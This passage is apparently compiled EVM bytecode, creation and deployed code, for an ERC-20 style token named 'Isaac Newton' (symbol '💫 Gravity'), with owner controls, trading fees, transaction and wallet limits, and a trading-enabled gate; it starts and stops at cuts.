fffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600c81526020017ff09f92ab20477261766974790000000000000000000000000000000000000000815250905090565b600d5481565b610ce7611268565b73ffffffffffffffffffffffffffffffffffffffff16610d05610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5290612b05565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610df0610de9611268565b848461143b565b6001905092915050565b60085481565b610e08611268565b73ffffffffffffffffffffffffffffffffffffffff16610e26610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7390612b05565b60405180910390fd5b610e866000611b1a565b565b610e90611268565b73ffffffffffffffffffffffffffffffffffffffff16610eae610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb90612b05565b60405180910390fd5b6000601260166101000a81548160ff0219169083151502179055506000601260146101000a81548160ff021916908315150217905550565b60065481565b600e5481565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fdd611268565b73ffffffffffffffffffffffffffffffffffffffff16610ffb610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890612b05565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110b4611268565b73ffffffffffffffffffffffffffffffffffffffff166110d2610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f90612b05565b60405180910390fd5b6009600a6111369190612d9f565b826111419190612ebd565b6015819055506009600a6111559190612d9f565b816111609190612ebd565b6014819055505050565b60055481565b611178611268565b73ffffffffffffffffffffffffffffffffffffffff16611196610c6d565b73ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390612b05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390612a85565b60405180910390fd5b61126581611b1a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612b85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611350576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134790612aa5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161142e9190612be0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a290612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151290612a25565b60405180910390fd5b6000811161155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612b25565b60405180910390fd5b61156783610c14565b8111156115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090612a65565b60405180910390fd5b601260149054906101000a900460ff168061160d5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116615750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6116a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169790612ba5565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561174b5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a15750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611844576015548111156117eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e290612a45565b60405180910390fd5b601454816117f884610c14565b6118029190612cc5565b1115611843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183a90612b65565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118ef5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119455750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119a35760145461195683610c14565b826119619190612cc5565b11156119a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199990612ac5565b60405180910390fd5b5b60006119ae30610c14565b9050601260159054906101000a900460ff16158015611a1b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a335750601260169054906101000a900460ff165b8015611a3f5750600081115b15611a6757611a4d81611bde565b60004790506000811115611a6557611a6447611ed8565b5b505b611b14848484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b0e5750600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f44565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c6a5781602001602082028036833780820191505090505b5090503081600081518110611ca8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d4a57600080fd5b505afa158015611d5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8291906125c2565b81600181518110611dbc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e2330601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611270565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e87959493929190612bfb565b600060405180830381600087803b158015611ea157600080fd5b505af1158015611eb5573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f40573d6000803e3d6000fd5b5050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f939190612f17565b92505081905550600081611fa75782611fb3565b611fb2858585612077565b5b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120049190612cc5565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120689190612be0565b60405180910390a35050505050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120d857506000600854115b1561217b57601060009054906101000a900461ffff1661ffff16600554836121009190612ebd565b61210a9190612d1b565b600d81905550601060009054906101000a900461ffff1661ffff16600654836121339190612ebd565b61213d9190612d1b565b600e81905550601060009054906101000a900461ffff1661ffff16600754836121669190612ebd565b6121709190612d1b565b600f8190555061227a565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121da57506000600c54115b1561227957601060009054906101000a900461ffff1661ffff16600954836122029190612ebd565b61220c9190612d1b565b600d81905550601060009054906101000a900461ffff1661ffff16600a54836122359190612ebd565b61223f9190612d1b565b600e81905550601060009054906101000a900461ffff1661ffff16600b54836122689190612ebd565b6122729190612d1b565b600f819055505b5b600d5460016000601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122ed9190612cc5565b92505081905550601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040516123759190612be0565b60405180910390a3600e546001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123d09190612cc5565b92505081905550600e546013546123e79190612f17565b6013819055506123f5610872565b60138190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e5460405161245c9190612be0565b60405180910390a3600f54600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124b59190612cc5565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405161251b9190612be0565b60405180910390a36000600f54600e54600d546125389190612cc5565b6125429190612cc5565b905080836125509190612f17565b9150509392505050565b600081359050612569816133da565b92915050565b60008151905061257e816133da565b92915050565b600081359050612593816133f1565b92915050565b6000602082840312156125ab57600080fd5b60006125b98482850161255a565b91505092915050565b6000602082840312156125d457600080fd5b60006125e28482850161256f565b91505092915050565b600080604083850312156125fe57600080fd5b600061260c8582860161255a565b925050602061261d8582860161255a565b9150509250929050565b60008060006060848603121561263c57600080fd5b600061264a8682870161255a565b935050602061265b8682870161255a565b925050604061266c86828701612584565b9150509250925092565b6000806040838503121561268957600080fd5b60006126978582860161255a565b92505060206126a885828601612584565b9150509250929050565b600080604083850312156126c557600080fd5b60006126d385828601612584565b92505060206126e485828601612584565b9150509250929050565b60006126fa8383612706565b60208301905092915050565b61270f81612f4b565b82525050565b61271e81612f4b565b82525050565b600061272f82612c80565b6127398185612ca3565b935061274483612c70565b8060005b8381101561277557815161275c88826126ee565b975061276783612c96565b925050600181019050612748565b5085935050505092915050565b61278b81612f5d565b82525050565b61279a81612fae565b82525050565b60006127ab82612c8b565b6127b58185612cb4565b93506127c5818560208601612fc0565b6127ce81613051565b840191505092915050565b60006127e6602383612cb4565b91506127f18261306f565b604082019050919050565b6000612809601983612cb4565b9150612814826130be565b602082019050919050565b600061282c603183612cb4565b9150612837826130e7565b604082019050919050565b600061284f602683612cb4565b915061285a82613136565b604082019050919050565b6000612872602283612cb4565b915061287d82613185565b604082019050919050565b6000612895602283612cb4565b91506128a0826131d4565b604082019050919050565b60006128b8602883612cb4565b91506128c382613223565b604082019050919050565b60006128db602083612cb4565b91506128e682613272565b602082019050919050565b60006128fe602983612cb4565b91506129098261329b565b604082019050919050565b6000612921602583612cb4565b915061292c826132ea565b604082019050919050565b6000612944601a83612cb4565b915061294f82613339565b602082019050919050565b6000612967602483612cb4565b915061297282613362565b604082019050919050565b600061298a601783612cb4565b9150612995826133b1565b602082019050919050565b6129a981612f69565b82525050565b6129b881612f97565b82525050565b6129c781612fa1565b82525050565b60006020820190506129e26000830184612715565b92915050565b60006020820190506129fd6000830184612782565b92915050565b60006020820190508181036000830152612a1d81846127a0565b905092915050565b60006020820190508181036000830152612a3e816127d9565b9050919050565b60006020820190508181036000830152612a5e816127fc565b9050919050565b60006020820190508181036000830152612a7e8161281f565b9050919050565b60006020820190508181036000830152612a9e81612842565b9050919050565b60006020820190508181036000830152612abe81612865565b9050919050565b60006020820190508181036000830152612ade81612888565b9050919050565b60006020820190508181036000830152612afe816128ab565b9050919050565b60006020820190508181036000830152612b1e816128ce565b9050919050565b60006020820190508181036000830152612b3e816128f1565b9050919050565b60006020820190508181036000830152612b5e81612914565b9050919050565b60006020820190508181036000830152612b7e81612937565b9050919050565b60006020820190508181036000830152612b9e8161295a565b9050919050565b60006020820190508181036000830152612bbe8161297d565b9050919050565b6000602082019050612bda60008301846129a0565b92915050565b6000602082019050612bf560008301846129af565b92915050565b600060a082019050612c1060008301886129af565b612c1d6020830187612791565b8181036040830152612c2f8186612724565b9050612c3e6060830185612715565b612c4b60808301846129af565b9695505050505050565b6000602082019050612c6a60008301846129be565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612cd082612f97565b9150612cdb83612f97565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d1057612d0f612ff3565b5b828201905092915050565b6000612d2682612f97565b9150612d3183612f97565b925082612d4157612d40613022565b5b828204905092915050565b6000808291508390505b6001851115612d9657808604811115612d7257612d71612ff3565b5b6001851615612d815780820291505b8081029050612d8f85613062565b9450612d56565b94509492505050565b6000612daa82612f97565b9150612db583612fa1565b9250612de27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612dea565b905092915050565b600082612dfa5760019050612eb6565b81612e085760009050612eb6565b8160018114612e1e5760028114612e2857612e57565b6001915050612eb6565b60ff841115612e3a57612e39612ff3565b5b8360020a915084821115612e5157612e50612ff3565b5b50612eb6565b5060208310610133831016604e8410600b8410161715612e8c5782820a905083811115612e8757612e86612ff3565b5b612eb6565b612e998484846001612d4c565b92509050818404811115612eb057612eaf612ff3565b5b81810290505b9392505050565b6000612ec882612f97565b9150612ed383612f97565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f0c57612f0b612ff3565b5b828202905092915050565b6000612f2282612f97565b9150612f2d83612f97565b925082821015612f4057612f3f612ff3565b5b828203905092915050565b6000612f5682612f77565b9050919050565b60008115159050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fb982612f97565b9050919050565b60005b83811015612fde578082015181840152602081019050612fc3565b83811115612fed576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f526563697069656e742065786365656473206d61782077616c6c65742073697a60008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b6133e381612f4b565b81146133ee57600080fd5b50565b6133fa81612f97565b811461340557600080fd5b5056fea26469706673582212206a5753b4168410c17e2ea2014f753bab6174b5311e4d3ae457034f23317d7f9e64736f6c63430008040033
Deployed Bytecode
0x6080604052600436106102085760003560e01c80638da5cb5b11610118578063c9567bf9116100a0578063dd62ed3e1161006f578063dd62ed3e14610724578063ea2f0b3714610761578063ebece9c91461078a578063f239eab8146107b3578063f2fde38b146107de5761020f565b8063c9567bf91461068c578063c99f2fed146106a3578063cc70acee146106ce578063d0a39814146106f95761020f565b80639f71146d116100e75780639f71146d146105b9578063a8b08982146105e2578063a9059cbb1461060d578063b9e937001461064a578063c2af913b146106755761020f565b80638da5cb5b1461050d578063921369131461053857806395d89b41146105635780639740a9461461058e5761020f565b8063313ce5671161019b57806347afcbfe1161016a57806347afcbfe146104245780636cce46fc1461044f57806370a082311461047a5780637bce5a04146104b757806384d6c8c6146104e25761020f565b8063313ce567146103905780633722355c146103bb5780633e0c23b8146103e4578063437823ec146103fb5761020f565b806318160ddd116101d757806318160ddd146102d25780631d6167ac146102fd5780631f3fed8f1461032857806323b872dd146103535761020f565b806303fd2a451461021457806306fdde031461023f578063095ea7b31461026a5780630fa604e4146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610807565b60405161023691906129cd565b60405180910390f35b34801561024b57600080fd5b5061025461080d565b6040516102619190612a03565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612676565b61084a565b60405161029e91906129e8565b60405180910390f35b3480156102b357600080fd5b506102bc610868565b6040516102c99190612be0565b60405180910390f35b3480156102de57600080fd5b506102e7610872565b6040516102f49190612be0565b60405180910390f35b34801561030957600080fd5b5061031261087c565b60405161031f9190612bc5565b60405180910390f35b34801561033457600080fd5b5061033d610890565b60405161034a9190612be0565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612627565b610896565b60405161038791906129e8565b60405180910390f35b34801561039c57600080fd5b506103a5610997565b6040516103b29190612c55565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612599565b6109a0565b005b3480156103f057600080fd5b506103f9610a77565b005b34801561040757600080fd5b50610422600480360381019061041d9190612599565b610b31565b005b34801561043057600080fd5b50610439610c08565b6040516104469190612be0565b60405180910390f35b34801561045b57600080fd5b50610464610c0e565b6040516104719190612be0565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c9190612599565b610c14565b6040516104ae9190612be0565b60405180910390f35b3480156104c357600080fd5b506104cc610c5d565b6040516104d99190612be0565b60405180910390f35b3480156104ee57600080fd5b506104f7610c63565b6040516105049190612be0565b60405180910390f35b34801561051957600080fd5b50610522610c6d565b60405161052f91906129cd565b60405180910390f35b34801561054457600080fd5b5061054d610c96565b60405161055a9190612be0565b60405180910390f35b34801561056f57600080fd5b50610578610c9c565b6040516105859190612a03565b60405180910390f35b34801561059a57600080fd5b506105a3610cd9565b6040516105b09190612be0565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190612599565b610cdf565b005b3480156105ee57600080fd5b506105f7610db6565b60405161060491906129cd565b60405180910390f35b34801561061957600080fd5b50610634600480360381019061062f9190612676565b610ddc565b60405161064191906129e8565b60405180910390f35b34801561065657600080fd5b5061065f610dfa565b60405161066c9190612be0565b60405180910390f35b34801561068157600080fd5b5061068a610e00565b005b34801561069857600080fd5b506106a1610e88565b005b3480156106af57600080fd5b506106b8610f3c565b6040516106c59190612be0565b60405180910390f35b3480156106da57600080fd5b506106e3610f42565b6040516106f09190612be0565b60405180910390f35b34801561070557600080fd5b5061070e610f48565b60405161071b9190612be0565b60405180910390f35b34801561073057600080fd5b5061074b600480360381019061074691906125eb565b610f4e565b6040516107589190612be0565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612599565b610fd5565b005b34801561079657600080fd5b506107b160048036038101906107ac91906126b2565b6110ac565b005b3480156107bf57600080fd5b506107c861116a565b6040516107d59190612be0565b60405180910390f35b3480156107ea57600080fd5b5061080560048036038101906108009190612599565b611170565b005b61dead81565b60606040518060400160405280600c81526020017f4973616163204e6577746f6e0000000000000000000000000000000000000000815250905090565b600061085e610857611268565b8484611270565b6001905092915050565b6000601454905090565b6000601354905090565b601060009054906101000a900461ffff1681565b600f5481565b60006108a384848461143b565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108ee611268565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096590612ae5565b60405180910390fd5b61098b8561097a611268565b85846109869190612f17565b611270565b60019150509392505050565b60006009905090565b6109a8611268565b73ffffffffffffffffffffffffffffffffffffffff166109c6610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390612b05565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a7f611268565b73ffffffffffffffffffffffffffffffffffffffff16610a9d610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90612b05565b60405180910390fd5b60c86009819055506000600a819055506101f4600b81905550600b54600a54600954610b1f9190612cc5565b610b299190612cc5565b600c81905550565b610b39611268565b73ffffffffffffffffffffffffffffffffffffffff16610b57610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba490612b05565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b60095481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b6000601554905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600c81526020017ff09f92ab20477261766974790000000000000000000000000000000000000000815250905090565b600d5481565b610ce7611268565b73ffffffffffffffffffffffffffffffffffffffff16610d05610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5290612b05565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610df0610de9611268565b848461143b565b6001905092915050565b60085481565b610e08611268565b73ffffffffffffffffffffffffffffffffffffffff16610e26610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7390612b05565b60405180910390fd5b610e866000611b1a565b565b610e90611268565b73ffffffffffffffffffffffffffffffffffffffff16610eae610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb90612b05565b60405180910390fd5b6000601260166101000a81548160ff0219169083151502179055506000601260146101000a81548160ff021916908315150217905550565b60065481565b600e5481565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fdd611268565b73ffffffffffffffffffffffffffffffffffffffff16610ffb610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890612b05565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110b4611268565b73ffffffffffffffffffffffffffffffffffffffff166110d2610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f90612b05565b60405180910390fd5b6009600a6111369190612d9f565b826111419190612ebd565b6015819055506009600a6111559190612d9f565b816111609190612ebd565b6014819055505050565b60055481565b611178611268565b73ffffffffffffffffffffffffffffffffffffffff16611196610c6d565b73ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390612b05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390612a85565b60405180910390fd5b61126581611b1a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612b85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611350576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134790612aa5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161142e9190612be0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a290612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151290612a25565b60405180910390fd5b6000811161155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612b25565b60405180910390fd5b61156783610c14565b8111156115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090612a65565b60405180910390fd5b601260149054906101000a900460ff168061160d5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116615750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6116a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169790612ba5565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561174b5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a15750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611844576015548111156117eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e290612a45565b60405180910390fd5b601454816117f884610c14565b6118029190612cc5565b1115611843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183a90612b65565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118ef5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611945575060046000